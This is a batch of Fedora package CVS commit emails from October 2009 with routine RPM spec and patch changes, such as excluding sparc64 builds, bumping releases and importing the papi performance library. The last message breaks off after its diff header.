Message-ID: <20091026204431.2287311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-guitar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21249

Modified Files:
	gnome-guitar.spec 
Log Message:
excludeArch sparc64



Index: gnome-guitar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-guitar/F-12/gnome-guitar.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gnome-guitar.spec	5 Aug 2009 23:27:46 -0000	1.5
+++ gnome-guitar.spec	26 Oct 2009 20:44:30 -0000	1.6
@@ -4,12 +4,13 @@
 Name:            gnome-guitar
 Summary:         A small suite of applications for the guitarist
 Version:         0.8.1
-Release:         6%{?dist}
+Release:         7%{?dist}
 License:         GPLv3+
 Group:           Applications/Multimedia
 URL:             http://gnome-chord.sourceforge.net/
 Source0:         http://downloads.sourceforge.net/gnome-chord/%{name}_cs-%{version}.tar.gz
 BuildRoot:       %{_tmppath}/%{name}-%{version}-%{release}-root
+ExcludeArch:     sparc64
 # Mono is not available in ppc64 on Fedora < 11.
 # https://bugzilla.redhat.com/show_bug.cgi?id=489435
 %if 0%{?fedora} < 11
@@ -138,6 +139,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_libdir}/pkgconfig/libgnomeguitarui.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <Dennis at ausil.us> - 0.8.1-7
+- ExcludeArch sparc64
+
 * Wed Aug 05 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 0.8.1-6
 - Update .desktop files
 - Add missing Requires



From ausil at fedoraproject.org  Mon Oct 26 20:45:24 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:45:24 +0000 (UTC)
Subject: rpms/gnome-guitar/devel gnome-guitar.spec,1.5,1.6
Message-ID: <20091026204524.5741011C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-guitar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21873

Modified Files:
	gnome-guitar.spec 
Log Message:
ExcludeArch sparc64



Index: gnome-guitar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-guitar/devel/gnome-guitar.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gnome-guitar.spec	5 Aug 2009 23:27:46 -0000	1.5
+++ gnome-guitar.spec	26 Oct 2009 20:45:24 -0000	1.6
@@ -4,12 +4,13 @@
 Name:            gnome-guitar
 Summary:         A small suite of applications for the guitarist
 Version:         0.8.1
-Release:         6%{?dist}
+Release:         7%{?dist}
 License:         GPLv3+
 Group:           Applications/Multimedia
 URL:             http://gnome-chord.sourceforge.net/
 Source0:         http://downloads.sourceforge.net/gnome-chord/%{name}_cs-%{version}.tar.gz
 BuildRoot:       %{_tmppath}/%{name}-%{version}-%{release}-root
+ExcludeArch:     sparc64
 # Mono is not available in ppc64 on Fedora < 11.
 # https://bugzilla.redhat.com/show_bug.cgi?id=489435
 %if 0%{?fedora} < 11
@@ -138,6 +139,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_libdir}/pkgconfig/libgnomeguitarui.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <Dennis at ausil.us> - 0.8.1-7
+- ExcludeArch sparc64
+
 * Wed Aug 05 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 0.8.1-6
 - Update .desktop files
 - Add missing Requires



From wcohen at fedoraproject.org  Mon Oct 26 20:47:00 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Mon, 26 Oct 2009 20:47:00 +0000 (UTC)
Subject: rpms/papi/F-12 import.log, NONE, 1.1 papi-3.7.0-exit.patch, NONE,
	1.1 papi-3.7.0-multiplex.patch, NONE,
	1.1 papi-3.7.0-soname.patch, NONE, 1.1 papi-3.7.0-x86-rule.patch,
	NONE, 1.1 papi.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026204700.E678B11C0264@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/papi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22437/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log papi-3.7.0-exit.patch papi-3.7.0-multiplex.patch 
	papi-3.7.0-soname.patch papi-3.7.0-x86-rule.patch papi.spec 
Log Message:
Initial commit of papi package into fedora.



--- NEW FILE import.log ---
papi-3_7_0-10:F-12:papi-3.7.0-10.src.rpm:1256589969

papi-3.7.0-exit.patch:
 papi_internal.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE papi-3.7.0-exit.patch ---
diff -ur papi-3.7.0.orig/src/papi_internal.c papi-3.7.0.patches/src/papi_internal.c
--- papi-3.7.0.orig/src/papi_internal.c	2009-08-26 20:01:25.000000000 +0100
+++ papi-3.7.0.patches/src/papi_internal.c	2009-10-09 10:14:39.665680864 +0100
@@ -107,7 +107,7 @@
       PAPIERROR(str);
 
       if (_papi_hwi_error_level == PAPI_VERB_ESTOP)
-         exit(-errorCode);
+         abort ();
       else
          return errorCode;
       break;

papi-3.7.0-multiplex.patch:
 multiplex.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE papi-3.7.0-multiplex.patch ---
diff -up src/multiplex.c.mult src/multiplex.c
--- src/multiplex.c.mult	2009-09-25 12:11:49.451283900 -0400
+++ src/multiplex.c	2009-09-25 12:12:53.144294969 -0400
@@ -313,9 +313,10 @@ static MasterEvent *get_my_threads_maste
       return (tlist->head);
 
    tid = _papi_hwi_thread_id_fn();
+   unsigned long pid = getpid();
 
    while (t) {
-      if (t->tid == tid)
+      if (t->tid == tid || ((tid==0) && (t->tid==pid)))
          return (t->head);
       t = t->next;
    }

papi-3.7.0-soname.patch:
 Rules.perfctr     |    2 +-
 Rules.perfctr-pfm |    2 +-
 Rules.pfm2        |    2 +-
 Rules.pfm_pcl     |    2 +-
 Rules.pfm_pcl.x86 |    2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE papi-3.7.0-soname.patch ---
diff -ur papi-3.7.0.orig/src/Rules.perfctr papi-3.7.0.patches/src/Rules.perfctr
--- papi-3.7.0.orig/src/Rules.perfctr	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.perfctr	2009-10-09 10:11:53.137683917 +0100
@@ -69,7 +69,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Wall -Mextend $(BITFLAGS)
diff -ur papi-3.7.0.orig/src/Rules.perfctr-pfm papi-3.7.0.patches/src/Rules.perfctr-pfm
--- papi-3.7.0.orig/src/Rules.perfctr-pfm	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.perfctr-pfm	2009-10-09 10:12:13.249680559 +0100
@@ -78,7 +78,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Wall -Mextend $(BITFLAGS)
diff -ur papi-3.7.0.orig/src/Rules.pfm2 papi-3.7.0.patches/src/Rules.pfm2
--- papi-3.7.0.orig/src/Rules.pfm2	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.pfm2	2009-10-09 10:12:38.552430433 +0100
@@ -17,7 +17,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend
diff -ur papi-3.7.0.orig/src/Rules.pfm_pcl papi-3.7.0.patches/src/Rules.pfm_pcl
--- papi-3.7.0.orig/src/Rules.pfm_pcl	2009-10-09 10:06:54.326680322 +0100
+++ papi-3.7.0.patches/src/Rules.pfm_pcl	2009-10-09 10:12:45.255680805 +0100
@@ -16,7 +16,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend
diff -ur papi-3.7.0.orig/src/Rules.pfm_pcl.x86 papi-3.7.0.patches/src/Rules.pfm_pcl.x86
--- papi-3.7.0.orig/src/Rules.pfm_pcl.x86	2009-08-24 21:21:29.000000000 +0100
+++ papi-3.7.0.patches/src/Rules.pfm_pcl.x86	2009-10-09 10:12:52.808555272 +0100
@@ -16,7 +16,7 @@
 endif
 
 CC_R    	:= $(CC) -pthread
-CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
+CC_SHR		:= $(CC) -fPIC -DPIC -shared -Wl,-soname -Wl,libpapi.so.3 -Xlinker "-rpath" -Xlinker "$(LIBDIR)"
 
 ifeq (pgf77,$(F77))
 	FFLAGS      += -Mextend

papi-3.7.0-x86-rule.patch:
 Rules.pfm_pcl |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE papi-3.7.0-x86-rule.patch ---
diff -up src/Rules.pfm_pcl.x86 src/Rules.pfm_pcl
--- src/Rules.pfm_pcl.x86	2009-08-24 16:21:29.000000000 -0400
+++ src/Rules.pfm_pcl	2009-09-29 11:11:14.000000000 -0400
@@ -74,12 +74,9 @@ ifeq (pcl, $(SUBSTR))
   MISCSRCS += sys_perf_counter_open.c
 endif
 
-ifneq (CRAYX2, $(COMPILER))
-  ifneq (ia64, $(ARCH))
-    ifneq (ppc64, $(ARCH))
+# Additional ARCH settings for x86
+ifeq (86, $(findstring 86,$(ARCH)))
       MISCSRCS +=  x86_cache_info.c
-    endif
-  endif
 endif
 
 # This is necessary to avoid text relocations. You cannot do -Lxx -lx because


--- NEW FILE papi.spec ---
Summary: Performance Application Programming Interface
Name: papi
Version: 3.7.0
Release: 10
License: BSD
Group: Development/System
URL: http://icl.cs.utk.edu/papi/
Source0: http://icl.cs.utk.edu/projects/papi/downloads/%{name}-%{version}.tar.gz
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
Patch1: papi-3.7.0-multiplex.patch
Patch2: papi-3.7.0-x86-rule.patch
Patch3: papi-3.7.0-soname.patch
Patch4: papi-3.7.0-exit.patch
BuildRequires: ncurses-devel
BuildRequires: gcc-gfortran
BuildRequires: kernel-devel >= 2.6.31
BuildRequires: chrpath

%description
PAPI provides a programmer interface to monitor the performance of
running programs.

%package devel
Summary: Header files for the compiling programs with PAPI
Group: Development/System
Requires: papi = %{version}-%{release}
%description devel
PAPI-devel includes the C header files that specify the PAPI userspace
libraries and interfaces. This is required for rebuilding any program
that uses PAPI.

%prep
%setup -q
%patch1 -p0 -b .multiplex
%patch2 -p0 -b .x86
%patch3 -p1 -b .soname
%patch4 -p1 -b .exit


%build
cd src
PERF_HEAD=`ls /usr/src/kernels/*/include/linux/perf_counter.h|sort |tail -n 1` || exit 1
ln -s $PERF_HEAD perf_counter.h
%configure --with-pcl=yes --disable-static
make %{?_smp_mflags}

#%check
#cd src
#make fulltest

%install
rm -rf $RPM_BUILD_ROOT
cd src
make DESTDIR=$RPM_BUILD_ROOT install

chrpath --delete $RPM_BUILD_ROOT%{_libdir}/*.so*

# Remove the static libraries. Static libraries are undesirable:
# https://fedoraproject.org/wiki/Packaging/Guidelines#Packaging_Static_Libraries
rm -rf $RPM_BUILD_ROOT%{_libdir}/*.a

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig
%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{_bindir}/*
%{_libdir}/*.so.*
/usr/share/papi
%doc INSTALL.txt README LICENSE.txt RELEASENOTES.txt

%files devel
%defattr(-,root,root,-)
%{_includedir}/*.h
%{_includedir}/perfmon
%{_libdir}/*.so
%doc %{_mandir}/man3/*

%changelog
* Fri Oct 09 2009 William Cohen <wcohen at redhat.com> - 3.7.0-10
- Eliminate the papi-static subpackage.

* Fri Oct 09 2009 Richard W.M. Jones <rjones at redhat.com> - 3.7.0-9
- Fix defattr definitions.

* Fri Oct 09 2009 Richard W.M. Jones <rjones at redhat.com> - 3.7.0-8
- Fix URL and Source0.
- Grammatical corrections to the description sections.
- Remove RPATHs from shared libraries.
- RPM shouldn't own directories.
- Add soname patch so soname is libpapi.so.3.
- Add exit patch so library doesn't call exit directly.

* Thu Oct 01 2009 William Cohen <wcohen at redhat.com> - 3.7.0-7
- URL point to place to get download of release.
- Requires for -devel RPM.

* Tue Sep 29 2009 William Cohen <wcohen at redhat.com> - 3.7.0-6
- Remove the check section from the spec file.

* Tue Sep 29 2009 William Cohen <wcohen at redhat.com> - 3.7.0-5
- Compile x86_cache_info.c only on x86 machines.

* Fri Sep 25 2009 William Cohen <wcohen at redhat.com> - 3.7.0-4
- Add patch for multiplex.c.

* Thu Sep 24 2009 William Cohen <wcohen at redhat.com> - 3.7.0-3
- Add testing for C and Fortran.

* Thu Sep 24 2009 William Cohen <wcohen at redhat.com> - 3.7.0-2
- Split out the static libraries into separate sub package.

* Wed Sep 23 2009 William Cohen <wcohen at redhat.com> - 3.7.0-1
- Initial build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/papi/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:12:06 -0000	1.1
+++ .cvsignore	26 Oct 2009 20:47:00 -0000	1.2
@@ -0,0 +1 @@
+papi-3.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/papi/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:12:06 -0000	1.1
+++ sources	26 Oct 2009 20:47:00 -0000	1.2
@@ -0,0 +1 @@
+d20198ecd5afeaa8fd18bc53c47d537d  papi-3.7.0.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 20:47:19 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:47:19 +0000 (UTC)
Subject: rpms/gnome-subtitles/F-12 gnome-subtitles.spec,1.8,1.9
Message-ID: <20091026204719.5DACD11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-subtitles/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22658

Modified Files:
	gnome-subtitles.spec 
Log Message:
Exclude sparc64



Index: gnome-subtitles.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-subtitles/F-12/gnome-subtitles.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gnome-subtitles.spec	25 Jul 2009 00:47:56 -0000	1.8
+++ gnome-subtitles.spec	26 Oct 2009 20:47:19 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           gnome-subtitles
 Version:        0.8
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        Subtitle editor for Gnome
 
 Group:          Applications/Multimedia
@@ -30,6 +30,8 @@ Requires(preun): GConf2
 Requires(post): scrollkeeper
 Requires(postun): scrollkeeper
 
+# No mono available here.
+ExcludeArch: sparc64
 
 %description
 Gnome Subtitles is a subtitle editor for the GNOME desktop. It supports the
@@ -106,6 +108,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8-10
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:48:40 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:48:40 +0000 (UTC)
Subject: rpms/gnome-subtitles/devel gnome-subtitles.spec,1.8,1.9
Message-ID: <20091026204840.4AB8B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-subtitles/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22870

Modified Files:
	gnome-subtitles.spec 
Log Message:
ExcludeArch sparc64



Index: gnome-subtitles.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-subtitles/devel/gnome-subtitles.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gnome-subtitles.spec	25 Jul 2009 00:47:56 -0000	1.8
+++ gnome-subtitles.spec	26 Oct 2009 20:48:40 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           gnome-subtitles
 Version:        0.8
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        Subtitle editor for Gnome
 
 Group:          Applications/Multimedia
@@ -30,6 +30,8 @@ Requires(preun): GConf2
 Requires(post): scrollkeeper
 Requires(postun): scrollkeeper
 
+# No mono available here.
+ExcludeArch: sparc64
 
 %description
 Gnome Subtitles is a subtitle editor for the GNOME desktop. It supports the
@@ -106,6 +108,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8-10
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:51:24 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:51:24 +0000 (UTC)
Subject: rpms/chronojump/F-12 chronojump.spec,1.1,1.2
Message-ID: <20091026205124.A4F0011C029D@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/chronojump/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24162

Modified Files:
	chronojump.spec 
Log Message:
ExcludeArch sparc64



Index: chronojump.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-12/chronojump.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- chronojump.spec	6 Oct 2009 23:22:29 -0000	1.1
+++ chronojump.spec	26 Oct 2009 20:51:21 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           chronojump
 Version:        0.8.11
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A measurement, management and statistics sport testing tool
 
 Group:          Applications/Engineering
@@ -28,6 +28,9 @@ Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
 BuildArch:      noarch
 
+# no mono available
+ExcludeArch: sparc64
+
 %description doc
 ChronoJump is an open hardware, free software, multiplatform complete system
 for measurement, management and statistics of sport short-time tests.
@@ -104,6 +107,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc manual/chronojump_manual_es.pdf
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.11-3
+- ExcludeArch sparc64.  no mono available
 
 * Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
 - Fixing doc path



From lucilanga at fedoraproject.org  Mon Oct 26 20:52:48 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Mon, 26 Oct 2009 20:52:48 +0000 (UTC)
Subject: rpms/evolution-rss/F-12 evolution-rss-0.1.4-recv-feeds.patch, NONE, 
	1.1 evolution-rss.spec, 1.37, 1.38
Message-ID: <20091026205248.ECFEF11C0264@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/evolution-rss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25093

Modified Files:
	evolution-rss.spec 
Added Files:
	evolution-rss-0.1.4-recv-feeds.patch 
Log Message:
add upstream patch to fix loading of feeds for evo >= 2.28.1

evolution-rss-0.1.4-recv-feeds.patch:
 rss.c |    8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

--- NEW FILE evolution-rss-0.1.4-recv-feeds.patch ---
diff -Naur evolution-rss-0.1.4/src/rss.c evolution-rss-0.1.4-mod/src/rss.c
--- evolution-rss-0.1.4/src/rss.c	2009-08-26 12:00:09.000000000 +0300
+++ evolution-rss-0.1.4-mod/src/rss.c	2009-10-26 19:30:55.000000000 +0200
@@ -2812,7 +2812,11 @@
         GMutex *lock;
 
         /* states/data used during shutdown */
-        enum { MC_QUIT_START, MC_QUIT_SYNC, MC_QUIT_THREADS } quit_state;
+#if EVOLUTION_VERSION >= 22800
+	enum { MC_QUIT_NOT_START, MC_QUIT_START, MC_QUIT_SYNC, MC_QUIT_THREADS } quit_state;
+#else
+	enum { MC_QUIT_START, MC_QUIT_SYNC, MC_QUIT_THREADS } quit_state;
+#endif
 };
 
 void
@@ -2829,7 +2833,7 @@
 		deleted = 1;
 
 	MailComponent *mc = mail_component_peek ();
-        if (mc->priv->quit_state != -1)
+        if (mc->priv->quit_state != MC_QUIT_NOT_START)
 		rf->cancel_all=1;
 
 	d(g_print("taskbar_op_finish() queue:%d\n", rf->feed_queue));


Index: evolution-rss.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-rss/F-12/evolution-rss.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- evolution-rss.spec	23 Oct 2009 16:35:09 -0000	1.37
+++ evolution-rss.spec	26 Oct 2009 20:52:48 -0000	1.38
@@ -11,7 +11,7 @@
 Name:		evolution-rss
 Summary:	Evolution RSS Reader
 Version:	0.1.4
-Release:	5%{?dist}
+Release:	6%{?dist}
 Group:		Applications/Internet
 License:	GPLv2 and GPLv2+
 URL:		http://gnome.eu.org/evo/index.php/Evolution_RSS_Reader_Plugin
@@ -19,6 +19,7 @@ Source:		http://gnome.eu.org/%{name}-%{v
 Patch0:		evolution-rss-0.1.4-folder-rename.patch
 Patch1:		evolution-rss-0.1.4-folder-properties.patch
 Patch2:		evolution-rss-0.1.4-icon-size.patch
+Patch3:		evolution-rss-0.1.4-recv-feeds.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	evolution
 
@@ -45,6 +46,7 @@ This is an evolution plugin which enable
 %patch0 -p1 -b .folder-rename
 %patch1 -p1 -b .folder-properties
 %patch2 -p1 -b .icon-size
+%patch3 -p1 -b .recv-feeds
 
 %build
 %configure --with-primary-render=gecko
@@ -98,6 +100,9 @@ fi
 %{_libdir}/bonobo/servers/GNOME_Evolution_RSS_*.server
 
 %changelog
+* Mon Oct 26 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-6
+- add upstream patch to fix loading of feeds for evo >= 2.28.1
+
 * Fri Oct 23 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-5
 - add patch2 to fix loading of icons (gtk refuses to load icons with size 0)
 



From ausil at fedoraproject.org  Mon Oct 26 20:53:06 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:53:06 +0000 (UTC)
Subject: rpms/chronojump/devel chronojump.spec,1.1,1.2
Message-ID: <20091026205306.EA21811C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/chronojump/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687

Modified Files:
	chronojump.spec 
Log Message:
exclude sparc64



Index: chronojump.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/devel/chronojump.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- chronojump.spec	6 Oct 2009 23:17:45 -0000	1.1
+++ chronojump.spec	26 Oct 2009 20:53:06 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           chronojump
 Version:        0.8.11
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A measurement, management and statistics sport testing tool
 
 Group:          Applications/Engineering
@@ -28,6 +28,9 @@ Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
 BuildArch:      noarch
 
+# no mono available
+ExcludeArch: sparc64
+
 %description doc
 ChronoJump is an open hardware, free software, multiplatform complete system
 for measurement, management and statistics of sport short-time tests.
@@ -104,6 +107,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc manual/chronojump_manual_es.pdf
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.11-3
+- ExcludeArch sparc64.  no mono available
 
 * Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
 - Fixing doc path



From wcohen at fedoraproject.org  Mon Oct 26 20:52:59 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Mon, 26 Oct 2009 20:52:59 +0000 (UTC)
Subject: rpms/papi/F-12 import.log,1.1,1.2 papi.spec,1.1,1.2
Message-ID: <20091026205259.B9B5611C0264@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/papi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25051/F-12

Modified Files:
	import.log papi.spec 
Log Message:
Initial import of papi for Fedora 12.



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/papi/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	26 Oct 2009 20:47:00 -0000	1.1
+++ import.log	26 Oct 2009 20:52:59 -0000	1.2
@@ -1 +1,2 @@
 papi-3_7_0-10:F-12:papi-3.7.0-10.src.rpm:1256589969
+papi-3_7_0-11_fc13:F-12:papi-3.7.0-11.fc13.src.rpm:1256590349


Index: papi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/papi/F-12/papi.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- papi.spec	26 Oct 2009 20:47:00 -0000	1.1
+++ papi.spec	26 Oct 2009 20:52:59 -0000	1.2
@@ -1,7 +1,7 @@
 Summary: Performance Application Programming Interface
 Name: papi
 Version: 3.7.0
-Release: 10
+Release: 11%{?dist}
 License: BSD
 Group: Development/System
 URL: http://icl.cs.utk.edu/papi/
@@ -79,6 +79,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_mandir}/man3/*
 
 %changelog
+* Mon Oct 26 2009 William Cohen <wcohen at redhat.com> - 3.7.0-11
+- Add distro to release.
+
 * Fri Oct 09 2009 William Cohen <wcohen at redhat.com> - 3.7.0-10
 - Eliminate the papi-static subpackage.
 



From wcohen at fedoraproject.org  Mon Oct 26 20:53:59 2009
From: wcohen at fedoraproject.org (William Eden Cohen)
Date: Mon, 26 Oct 2009 20:53:59 +0000 (UTC)
Subject: rpms/papi/devel papi.spec,1.1,1.2
Message-ID: <20091026205359.8E3E511C0264@cvs1.fedora.phx.redhat.com>

Author: wcohen

Update of /cvs/pkgs/rpms/papi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25657

Modified Files:
	papi.spec 
Log Message:
Include dist in release.



Index: papi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/papi/devel/papi.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- papi.spec	26 Oct 2009 20:42:20 -0000	1.1
+++ papi.spec	26 Oct 2009 20:53:59 -0000	1.2
@@ -1,7 +1,7 @@
 Summary: Performance Application Programming Interface
 Name: papi
 Version: 3.7.0
-Release: 10
+Release: 11%{?dist}
 License: BSD
 Group: Development/System
 URL: http://icl.cs.utk.edu/papi/
@@ -79,6 +79,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_mandir}/man3/*
 
 %changelog
+* Mon Oct 26 2009 William Cohen <wcohen at redhat.com> - 3.7.0-11
+- Add distro to release.
+
 * Fri Oct 09 2009 William Cohen <wcohen at redhat.com> - 3.7.0-10
 - Eliminate the papi-static subpackage.
 



From pghmcfc at fedoraproject.org  Mon Oct 26 20:57:03 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Mon, 26 Oct 2009 20:57:03 +0000 (UTC)
Subject: rpms/lat/F-12 lat.spec,1.25,1.26
Message-ID: <20091026205703.2E31E11C0264@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/lat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27050/F-12

Modified Files:
	lat.spec 
Log Message:
Fix typos and missed edit from ausil's last change


Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/F-12/lat.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
